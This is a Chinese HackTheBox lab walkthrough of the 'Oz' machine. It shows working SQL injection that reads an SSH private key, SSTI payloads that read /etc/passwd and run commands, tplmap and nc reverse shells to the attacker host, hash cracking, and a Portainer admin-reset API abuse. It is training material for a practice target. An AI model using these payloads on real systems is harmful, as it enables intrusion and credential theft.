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    hackthebox Oz靶機滲透

    VSole2022-05-18 08:30:25

    信息收集

    nmap -A -v -sC 10.10.10.96

    我們可以看到80、8080有一個werkzeug,查了一下是一個WSGI的工具包。好像還有個命令執行的漏洞,我們可以針對這個找腳本試一下

    PORT     STATE SERVICE VERSION
    80/tcp   open  http    Werkzeug httpd 0.14.1 (Python 2.7.14)
    |_http-favicon: Unknown favicon MD5: C23EFC24FDC958FFC6B85B83206EBB30
    | http-methods: 
    |_  Supported Methods: HEAD OPTIONS GET POST
    |_http-title: OZ webapi
    |_http-trane-info: Problem with XML parsing of /evox/about
    8080/tcp open  http    Werkzeug httpd 0.14.1 (Python 2.7.14)
    |_http-favicon: Unknown favicon MD5: B33CD9DDE6B54C301944D6BDECB40C5A
    | http-methods: 
    |_  Supported Methods: HEAD GET POST OPTIONS
    | http-open-proxy: Potentially OPEN proxy.
    |_Methods supported:CONNECTION
    |_http-server-header: Werkzeug/0.14.1 Python/2.7.14
    | http-title: GBR Support - Login
    |_Requested resource was http://10.10.10.96:8080/login
    |_http-trane-info: Problem with XML parsing of /evox/about
    

    找到一個werkzeug-debug RCE的腳本嘗試了一下,發現并沒有什么用

    # Rogerd @ kali in ~/tools [22:42:41] 
    $ git clone https://github.com/its-arun/Werkzeug-Debug-RCE.git 
    正克隆到 'Werkzeug-Debug-RCE'...
    remote: Enumerating objects: 9, done.
    remote: Total 9 (delta 0), reused 0 (delta 0), pack-reused 9
    展開對象中: 100% (9/9), 完成.
    # Rogerd @ kali in ~/tools [22:51:07] 
    $ cd Werkzeug-Debug-RCE/
    # Rogerd @ kali in ~/tools/Werkzeug-Debug-RCE on git:master o [22:53:07] 
    $ python werkzeug.py http://10.10.10.96:8080 whoami
    

    線索1:我們訪問80頁面,提示我們請注冊一個用戶,然后標題是一個Oz webapi。

    嘗試爆破一下目錄,我截取了部分,可以看到基本返回的都是27B的頁面。沒什么有用的信息

    目錄爆破沒用換一個WFUZZ工具,嘗試爆破一波。

    具體使用方法參考:https://blog.csdn.net/hardhard123/article/details/79596104

    git clone https://github.com/xmendez/wfuzz.git
    $ ./wfuzz -w wordlist/general/common.txt --hl=0  http://10.10.10.96/FUZZ
    Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
    ********************************************************
    * Wfuzz 2.3.4 - The Web Fuzzer                         *
    ********************************************************
    Target: http://10.10.10.96/FUZZ
    Total requests: 950
    ==================================================================
    ID   Response   Lines      Word         Chars          Payload    
    ==================================================================
    000871:  C=200      3 L           6 W         79 Ch      "users"
    Total time: 53.03089
    Processed Requests: 950
    Filtered Requests: 949
    Requests/sec.: 17.91408
    

    SQL接口注入

    我們訪問一下http://10.10.10.96/users/1 ,返回null。

    這里很可能是一個參數我們輸入admin,返回了一串json

    {“username”:”admin”}

    既然有輸入點又返回,那就有可能有注入點。

    訪問:http://10.10.10.96/users/admin’%20or%20’1’=’1

    返回:{“username”:”dorthi”}

    使用sqlmap注入,直接dump里面的內容

    sqlmap -u http://10.10.10.96/users/admin —dump

    Database: ozdb                                                                                    
    Table: tickets_gbw
    [12 entries]
    +----+----------+--------------------------------------------------------------------------------------------------------------------------------+
    | id | name     | desc                                                                                                                           |
    +----+----------+--------------------------------------------------------------------------------------------------------------------------------+
    | 1  | GBR-987  | Reissued new id_rsa and id_rsa.pub keys for ssh access to dorthi.                                                              |
    | 2  | GBR-1204 | Where did all these damn monkey's come from!?  I need to call pest control.                                                    |
    | 3  | GBR-1205 | Note to self: Toto keeps chewing on the curtain, find one with dog repellent.                                                  |
    | 4  | GBR-1389 | Nothing to see here... V2hhdCBkaWQgeW91IGV4cGVjdD8=                                                                            |
    | 5  | GBR-4034 | Think of a better secret knock for the front door.  Doesn't seem that secure, a Lion got in today.                             |
    | 6  | GBR-5012 | I bet you won't read the next entry.                                                                                           |
    | 7  | GBR-7890 | HAHA! Made you look.                                                                                                           |
    | 8  | GBR-7945 | Dorthi should be able to find her keys in the default folder under /home/dorthi/ on the db.                                    |
    | 9  | GBR-8011 | Seriously though, WW91J3JlIGp1c3QgdHJ5aW5nIHRvbyBoYXJkLi4uIG5vYm9keSBoaWRlcyBhbnl0aGluZyBpbiBiYXNlNjQgYW55bW9yZS4uLiBjJ21vbi4= |
    | 10 | GBR-8042 | You are just wasting time now... someone else is getting user.txt                                                              |
    | 11 | GBR-8457 | Look... now they've got root.txt and you don't even have user.txt                                                              |
    | 12 | GBR-9872 | db information loaded to ticket application for shared db access                                                               |
    +----+----------+--------------------------------------------------------------------------------------------------------------------------------+
    Database: ozdb
    Table: users_gbw
    [6 entries]
    +----+-------------+----------------------------------------------------------------------------------------+
    | id | username    | password                                                                               |
    +----+-------------+----------------------------------------------------------------------------------------+
    | 1  | dorthi      | $pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78 |
    | 2  | tin.man     | $pbkdf2-sha256$5000$GgNACCFkDOE8B4AwZgzBuA$IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofk |
    | 3  | wizard.oz   | $pbkdf2-sha256$5000$BCDkXKuVMgaAEMJ4z5mzdg$GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY |
    | 4  | coward.lyon | $pbkdf2-sha256$5000$bU2JsVYqpbT2PqcUQmjN.Q$hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DY |
    | 5  | toto        | $pbkdf2-sha256$5000$Zax17l1Lac25V6oVwnjPWQ$oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkg |
    | 6  | admin       | $pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ |
    +----+-------------+----------------------------------------------------------------------------------------+
    

    V2hhdCBkaWQgeW91IGV4cGVjdD8=

    解密:What did you expect?

    WW91J3JlIGp1c3QgdHJ5aW5nIHRvbyBoYXJkLi4uIG5vYm9keSBoaWRlcyBhbnl0aGluZyBpbiBiYXNlNjQgYW55bW9yZS4uLiBjJ21vbi4=

    解密:You’re just trying too hard… nobody hides anything in base64 anymore… c’mon.

    都是沒啥用的線索,只知道他說了,現在沒有人會用base64加密了。

    我們可以看到第8條,默認文件下可以找到密鑰。

    直接注入讀默認文件路徑/home/dorthi/.ssh/id_rsa

    http://10.10.10.96/users/111’%20union%20select%20all%20LOAD_FILE(0x2f686f6d652f646f727468692f2e7373682f69645f727361)–%20ss

    {"username":"-----BEGIN RSA PRIVATE KEY-----nProc-Type: 4,ENCRYPTEDnDEK-Info: AES-128-CBC,66B9F39F33BA0788CD27207BF8F2D0F6nnRV903H6V6lhKxl8dhocaEtL4Uzkyj1fqyVj3eySqkAFkkXms2H+4lfb35UZb3WFCnb6P7zYZDAnRLQjJEc/sQVXuwEzfWMa7pYF9Kv6ijIZmSDOMAPjaCjnjnX5kJMK3Fne1BrQdh0phWAhhUmbYvt2z8DD/OGKhxlC7oT/49I/ME+tm5eyLGbK69Ouxb5PBtynh9A+Tn70giENR/ExO8qY4WNQQMtiCM0tszes8+guOEKCckMivmR2qWHTCs+N7wbzna//JhOG+GdqvEhJp15pQuj/3SC9O5xyLe2mqL1TUK3WrFpQyv8lXartH1vKTnybdn9+Wme/gVTfwSZWgMeGQjRXWe3KUsgGZNFK75wYtA/F/DB7QZFwfO2Lb0mL7Xyzx6nZakulY4bFpBtXsuBJYPNy7wB5ZveRSB2f8dznu2mvarByMoCN/XgVVZujugNbEcjnevroLGNe/+ISkJWV443KyTcJ2iIRAa+BzHhrBx31kG//nix0vXoHzB8Vj3fqh+2MnEycVvDxLK8CIMzHc3cRVUMBeQ2X4GuLPGRKlUeSrmYz/sH75AR3zh6Zvlva15Yavn5vR48cdShFS3FC6aH6SQWVe9K3oHzYhwlfT+wVPfaeZrSlCH0hG1z9C1B9BxMLQrnDHejp9bbLppJ39pe1U+DBjzDo4s6rk+Ci/5dpieoeXrmGTqElDQi+KEU9g8CJptonbYAGUxPFIpPrN2+1RBbxY6YVaop5eyqtnF4ZGpJCoCW2r8BRsCvuILvrO1O0gXF+nwtsktmylmHvHApoXrW/GThjdVkdD9U/6Rmvv3s/OhtlAp3Wqw6RI+KfCPGiCzh1Vn0yfXH70CfLO2NcWtO/JUJvYH3M+rvDDHZSLqgW841ykzdrQXnR7s9Nj2EmoW72IHnznNPmB1LQtD45NH6OIG8+QWNAdQHcgZepwPz4/9pe2tEqu7Mg/cLUBsTYb4a6mftnicOX9OAOrcZ8RGcIdVWtzU4q2YKZex4lyzeC/k4TAbofZ0E4kUsaIbFV/7OMedMCnzCTJ6rlAl2d8e8dsSfF96QWevnD50yx+wbJ/izZonHmU/2ac4c8LPYq6Q9KLmlnunvI9bLfOJh8DLFuqCVI8GzROjIdxdlzk9yp4LxcAnm1Ox9MEIqmOVwAd3bEmYckKwnw/EmArNIrnr54Q7a1PMdCsZcejCjnvmQFZ3ko5CoFCC+kUe1j92i081kOAhmXqV3nc6xgh8Vg2qOyzoZm5wRZZF2nTXnnCQ3OYR3NMsUBTVG2tlgfp1NgdwIyxTWn09V0nnOzqNtJ7OBt0/RewTsFgoNVrCQbQ8VvZFckvG8sV3U9bh9Zl28/2I3B472iQRo+5nuoRHpAgfOSOERtxuMpkrkU3IzSPsVS9c3LgKhiTS5wTbTw7O/vxxNOoLpoxO2Wzbn/4XnEBh6VgLrjThQcGKigkWJaKyBHOhEtuZqDv2MFSE6zdX/N+L/FRIv1oVR9VYvnQGpqEaGSUG+/TSdcANQdD3mv6EGYI+o4rZKEHJKUlCI+I48jHbvQCLWaR/bkjZJunXtSuV0TJXto6abznSC1BFlACIqBmHdeaIXWqH+NlXOCGE8jQGM8s/fd/j5g1Adw3n-----END RSA PRIVATE KEY-----n"}
    

    嘗試用ssh登陸。發現無法登陸,沒有ssh服務。

    嘗試破解一下hash,先用hashid查看一下類型

    $ hashid '$pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78' 
    Analyzing '$pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78'
    [+] PBKDF2-SHA256(Generic)
    

    hashcat爆破

    使用hashcat 查看

    先把hash修改,加入hashoz文件

    sha256:5000:aA3h3LvXOseYk3IupVQKgQ:ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78
    sha256:5000:GgNACCFkDOE8B4AwZgzBuA:IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofk
    sha256:5000:BCDkXKuVMgaAEMJ4z5mzdg:GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY
    sha256:5000:bU2JsVYqpbT2PqcUQmjN.Q:hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DY
    sha256:5000:Zax17l1Lac25V6oVwnjPWQ:oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkg
    sha256:5000:d47xHsP4P6eUUgoh5BzjfA:jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ

    hashcat -m 10900 /home/Rogerd/tools/hashoz /home/Rogerd/tools/rockyou.txt

    最后跑出賬號密碼wizardofoz22/wizard.oz

    https://hashcat.net/wiki/doku.php?id=example_hashes

    當我們有賬號以后,我們嘗試登陸一下8080的頁面

    wizard.oz/wizardofoz22登陸成功

    谷歌payload all ssti

    https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20injections

    SSTI模板注入

    然后在ticket-create,添加的時候抓包,發現一個SSTI注入

    可以直接讀取到passwd

    name={{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
    

    直接讀取配置文件

    name={{config}}
    True
     USE_X_SENDFILE: False
     SQLALCHEMY_DATABASE_URI: mysql+pymysql://dorthi:N0Pl4c3L1keH0me@10.100.10.4/ozdb
     SESSION_COOKIE_SECURE: False
     SQLALCHEMY_TRACK_MODIFICATIONS: None
     SQLALCHEMY_POOL_SIZE: None
     SQLALCHEMY_POOL_TIMEOUT: None
     SESSION_COOKIE_PATH: None
     SQLALCHEMY_RECORD_QUERIES: None
     SESSION_COOKIE_DOMAIN: None
     SESSION_COOKIE_NAME: session
     SQLALCHEMY_BINDS: None
     SQLALCHEMY_POOL_RECYCLE: None
     MAX_COOKIE_SIZE: 4093
     SESSION_COOKIE_SAMESITE: None
     PROPAGATE_EXCEPTIONS: None
     ENV: production
     DEBUG: False
     SQLALCHEMY_COMMIT_ON_TEARDOWN: False
     SECRET_KEY: None
     EXPLAIN_TEMPLATE_LOADING: False
     SQLALCHEMY_NATIVE_UNICODE: None
     MAX_CONTENT_LENGTH: None
     SQLALCHEMY_ECHO: False
     APPLICATION_ROOT: /
     SERVER_NAME: None
     PREFERRED_URL_SCHEME: http
     JSONIFY_PRETTYPRINT_REGULAR: False
     TESTING: False
     PERMANENT_SESSION_LIFETIME: datetime.timedelta(31)
     TEMPLATES_AUTO_RELOAD: None
     TRAP_BAD_REQUEST_ERRORS: None
     JSON_SORT_KEYS: True
     JSONIFY_MIMETYPE: application/json
     SQLALCHEMY_MAX_OVERFLOW: None
     SESSION_COOKIE_HTTPONLY: True
     SEND_FILE_MAX_AGE_DEFAULT: datetime.timedelta(0
     43200)
     PRESERVE_CONTEXT_ON_EXCEPTION: None
     SESSION_REFRESH_EACH_REQUEST: True
     TRAP_HTTP_EXCEPTIONS: False}>
    

    我們先通過寫入配置,然后調用RUNCMD執行命令

    分別按順序執行下面3條命令

    {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_outputnnRUNCMD = check_outputn') }} # 寫如配置文件
    {{ config.from_pyfile('/tmp/evilconfig.cfg') }}  # 加載配置文件
    {{ config['RUNCMD']('whoami',shell=True) }} # 執行命令
    

    使用kali nc -nlvp 4444接收shell

    再通過burp彈shell

    {{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[-2].popen('n
    

    我們還可以用tplmap,來執行ssti命令

    git clone https://github.com/epinna/tplmap.git

    python tplmap.py -u ‘http://10.10.10.96:8080‘ -X POST -d ‘name=*&desc=anything’ -c ‘token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IndpemFyZC5veiIsImV4cCI6MTU0NzY1MzA2MX0.YEkK6t08h6aU-e2qH5sCa0OuQ09p4ScenD7_ZgkBTGY’ —reverse-shell 10.10.15.75 4444

    查看containers/database/start.sh文件

    cat start.sh

    /containers/database # cat start.sh
    #!/bin/bash
    docker run -d -v /connect/mysql:/var/lib/mysql --name ozdb 
    --net prodnet --ip 10.100.10.4 
    -e MYSQL_ROOT_PASSWORD=SuP3rS3cr3tP@ss 
    -e MYSQL_USER=dorthi 
    -e MYSQL_PASSWORD=N0Pl4c3L1keH0me 
    -e MYSQL_DATABASE=ozdb 
    -v /connect/sshkeys:/home/dorthi/.ssh/:ro 
    -v /dev/null:/root/.bash_history:ro 
    -v /dev/null:/root/.ash_history:ro 
    -v /dev/null:/root/.sh_history:ro 
    --restart=always 
    mariadb:5.5
    

    在根目錄ls -al看到一個文件.secret

    我們打開進去看/.secret/knockd.conf

    knockd 主要的目的是希望可以動態的修改防火墻規則,如果在15秒內按順序聯系udp端口40809,50212和46969,則在接下來的10秒內,防火墻將在端口22上打開。

    /.secret # cat knockd.conf
    [options]
        logfile = /var/log/knockd.log
    [opencloseSSH]
        sequence    = 40809:udp,50212:udp,46969:udp
        seq_timeout    = 15
        start_command    = ufw allow from %IP% to any port 22
        cmd_timeout    = 10
        stop_command    = ufw delete allow from %IP% to any port 22
        tcpflags    = syn
    

    寫一個bash腳本,在15秒內按順序執行。然后ssh端口打開后,直接用密鑰鏈接。

    然后直接輸入密碼N0Pl4c3L1keH0me 登陸成功

    #!/bin/bash
    ports="40809 50212 46969"
    for port in $ports; do 
        echo "[*] Knocking on ${port}"
        echo "a" | nc -u -w 1 10.10.10.96 ${port}
        sleep 0.1
    done; 
    echo "[*] Knocking done."
    echo "[*] Password:"
    echo "N0Pl4c3L1keH0me"
    ssh -i ~/id_rsa dorthi@10.10.10.96
    

    docker

    這時候查看一下根目錄,發現user.txt

    然后看一下sudo -l 顯示出自己(執行 sudo 的使用者)的權限

    我們可以運行兩條docker命令

    /usr/bin/docker network inspect *

    /usr/bin/docker network ls

    查看docker網絡

    sudo /usr/bin/docker network ls

    我們可以看到兩個橋接網絡 bridge

    網橋網絡是一種可用于將某些docker主機與其他docker主機隔離的網絡。從docker文檔:

    就Docker而言,橋接網絡使用軟件橋接器,該軟件橋接器允許連接到同一橋接網絡的容器進行通信,同時提供與未連接到該橋接網絡的容器的隔離。Docker橋驅動程序會自動在主機中安裝規則,以便不同網橋上的容器無法直接相互通信。

    NETWORK ID          NAME                DRIVER              SCOPE
    2572cd5f4853        bridge              bridge              local
    49c1b0c16723        host                host                local
    3ccc2aa17acf        none                null                local
    48148eb6a512        prodnet             bridge              local
    

    查看橋接的網絡

    sudo /usr/bin/docker network inspect bridge

    172.17.0.2為Portainer實例,用于管理docker的UI

    Portainer:https://github.com/portainer/portainer

    dorthi@Oz:~$ sudo /usr/bin/docker network inspect bridge
    [
        {
            "Name": "bridge",
            "Id": "2572cd5f48539146fdbdffb021b995b4b2f62495be9c666efeb73eb88d2ef237",
            "Created": "2019-01-16T16:40:46.870486827-06:00",
            "Scope": "local",
            "Driver": "bridge",
            "EnableIPv6": false,
            "IPAM": {
                "Driver": "default",
                "Options": null,
                "Config": [
                    {
                        "Subnet": "172.17.0.0/16",
                        "Gateway": "172.17.0.1"
                    }
                ]
            },
            "Internal": false,
            "Attachable": false,
            "Containers": {
                "e267fc4f305575070b1166baf802877cb9d7c7c5d7711d14bfc2604993b77e14": {
                    "Name": "portainer-1.11.1",
                    "EndpointID": "fd4a166294c888d423f971bfa3e58e6bb15adcfa5542f524c15543abd0de3d36",
                    "MacAddress": "02:42:ac:11:00:02",
                    "IPv4Address": "172.17.0.2/16",
                    "IPv6Address": ""
                }
            },
            "Options": {
                "com.docker.network.bridge.default_bridge": "true",
                "com.docker.network.bridge.enable_icc": "true",
                "com.docker.network.bridge.enable_ip_masquerade": "true",
                "com.docker.network.bridge.host_binding_ipv4": "0.0.0.0",
                "com.docker.network.bridge.name": "docker0",
                "com.docker.network.driver.mtu": "1500"
            },
            "Labels": {}
        }
    ]
    

    通過查看Portainer文檔,默認端口是9000

    我們使用curl訪問一下看,發現是存在的。

    dorthi@Oz:~$ curl http://172.17.0.2:9000/
    <html lang="en" ng-app="portainer">
    <head>
      <meta charset="utf-8">
      <title>Portainertitle>
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <meta name="description" content="">
      <meta name="author" content="Portainer.io">
      <link rel="stylesheet" href="css/app.4eebaa14.css">
    

    由于kali無法直接訪問172.17.0.2:9000

    所以我們在靶機上執行反向代理操作。

    然后就可以在kali實現訪問172.17.0.2了

    ssh -C -f -N -g -R 10.10.10.96:1234:172.17.0.2:9000 Rogerd@10.10.15.75 -p 22

    portainer API存在一個未授權訪問的漏洞

    我們看到上圖是一個登陸界面,查找一下portainer api里面其中有一條初始化管理員賬號密碼的API

    http POST :9000/api/users/admin/init Username="admin" Password="admin"
    

    我們嘗試執行這個API

    dorthi@Oz:~$ http POST 172.17.0.2:9000/api/users/admin/init Username="admin" Password="admin"
    HTTP/1.1 200 OK
    Content-Length: 0
    Content-Type: text/plain; charset=utf-8
    Date: Thu, 17 Jan 2019 08:33:17 GMT
    

    重置成功,使用admin/admin登陸

    我們點擊containers->add containers

    然后填寫相關的配置

    點開test,找到console,選擇/bin/sh,執行一下命令,拿到root.txt

    dockeradmin
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
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    在完成了這項針對 Linux 中多個受控制用戶空間的基礎性工作后,Linux 容器開始逐漸成形并最終發展成了現在的模樣。開源 Docker 社區致力于改進這類技術,并免費提供給所有用戶,使之獲益。除了運行容器之外,Docker 技術還具備其他多項功能,包括簡化用于構建容器、傳輸鏡像以及控制鏡像版本的流程。與此相反,Docker 技術鼓勵應用程序各自獨立運行其進程,并提供相應工具以實現這一功能。
    你是否還在大量控制臺窗口中監控容器,還是對使用終端命令充滿熱情?而使用Docker的圖形用戶界面(GUI)工具,則可以更簡單的對容器進行管理,并提高效率。而且它們都是免費的。
    "我的心田本空無一物,你來之后萬物生長,你走之后,一片荒蕪"?--《隱入塵煙》一、前言最近有個朋友準備搭建一個CTF比賽靶場在學校搞一個CTF比賽,讓我幫他參考參考。說實話,自己也沒有整過,自己就先實驗唄,搜集了大量的資料最終是搞成了,就差朋友買個服務器,和域名掛上了,這期間經歷過了大量的報錯,因此,想記錄下來,為兄弟們指一條明道,避免出錯。
    VSole
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